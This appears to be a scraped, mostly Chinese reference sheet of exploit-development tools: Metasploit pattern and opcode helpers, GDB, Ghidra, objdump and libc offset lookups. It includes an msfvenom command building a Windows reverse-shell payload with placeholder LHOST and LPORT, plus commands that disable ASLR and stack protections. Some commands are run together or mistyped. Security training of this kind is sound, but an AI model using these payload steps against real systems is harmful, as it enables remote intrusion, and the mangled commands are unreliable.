Exploiting Tools
Metasploit
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01Shellcodes
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f cGDB
安装
apt-get install gdb参数
说明
技巧
GDB相同地址
在调试过程中,GDB的地址与执行二进制文件时使用的地址略有不同。 您可以通过以下方式使GDB具有相同的地址:
unset env LINESunset env COLUMNSset env _=<path>将二进制文件的绝对路径放在这里利用相同的绝对路径利用二进制文件
使用GDB和利用二进制文件时,
PWD和OLDPWD必须相同
回溯以查找调用的函数
当您有一个静态链接的二进制文件时,所有函数都将属于二进制文件(而不是外部库)。在这种情况下,识别二进制文件遵循的流程以便例如请求用户输入将会很困难。
您可以通过使用gdb运行二进制文件直到要求输入为止来轻松识别此流程。然后,按下CTRL+C停止它,并使用**bt**(backtrace)命令查看调用的函数:
GDB 服务器
gdbserver --multi 0.0.0.0:23947(在IDA中,您必须填写Linux机器和Windows机器上可执行文件的绝对路径)
Ghidra
查找堆栈偏移
Ghidra 对于查找缓冲区溢出的偏移非常有用,因为它提供了有关本地变量位置的信息。
例如,在下面的示例中,local_bc 中的缓冲区溢出表明您需要一个偏移量为 0xbc。此外,如果 local_10 是一个 canary cookie,则从 local_bc 覆盖它需要一个偏移量为 0xac。
请记住,保存RIP的第一个0x08属于RBP。

qtool
获取程序中执行的每个操作码。
GCC
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> 编译时去除保护机制 -o --> 输出 -g --> 保存代码(GDB 可以查看) echo 0 > /proc/sys/kernel/randomize_va_space --> 在 Linux 中禁用 ASLR
编译 shellcode: nasm -f elf assembly.asm --> 返回“.o” 文件 ld assembly.o -o shellcodeout --> 可执行文件
Objdump
-d --> 反汇编可执行文件 部分(查看编译后的 shellcode 的操作码,查找 ROP Gadgets,查找函数地址...) -Mintel --> Intel 语法 -t --> 符号 表 -D --> 反汇编所有(静态变量的地址) -s -j .dtors --> dtors 部分 -s -j .got --> got 部分 -D -s -j .plt --> plt 部分 反编译 -TR --> 重定位 ojdump -t --dynamic-relo ./exec | grep puts --> 要修改的 "puts" 在 GOT 中的地址 objdump -D ./exec | grep "VAR_NAME" --> 静态变量的地址(这些存储在 DATA 部分)。
Core dumps
在启动程序之前运行
ulimit -c unlimited运行
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%tsudo gdb --core=<path/core> --quiet
更多
ldd executable | grep libc.so.6 --> 地址(如果启用 ASLR,则每次都会更改) for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> 循环查看地址是否经常更改 readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system" 的偏移 strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh" 的偏移
strace executable --> 可执行文件调用的函数 rabin2 -i ejecutable --> 所有函数的地址
Inmunity debugger
IDA
在远程 Linux 中调试
在 IDA 文件夹中,您可以找到可用于在 Linux 中调试二进制文件的二进制文件。要这样做,请将二进制文件 linux_server 或 linux_server64 移动到 Linux 服务器中,并在包含二进制文件的文件夹中运行它:
然后,配置调试器:调试器(linux 远程)--> 进程选项...:

最后更新于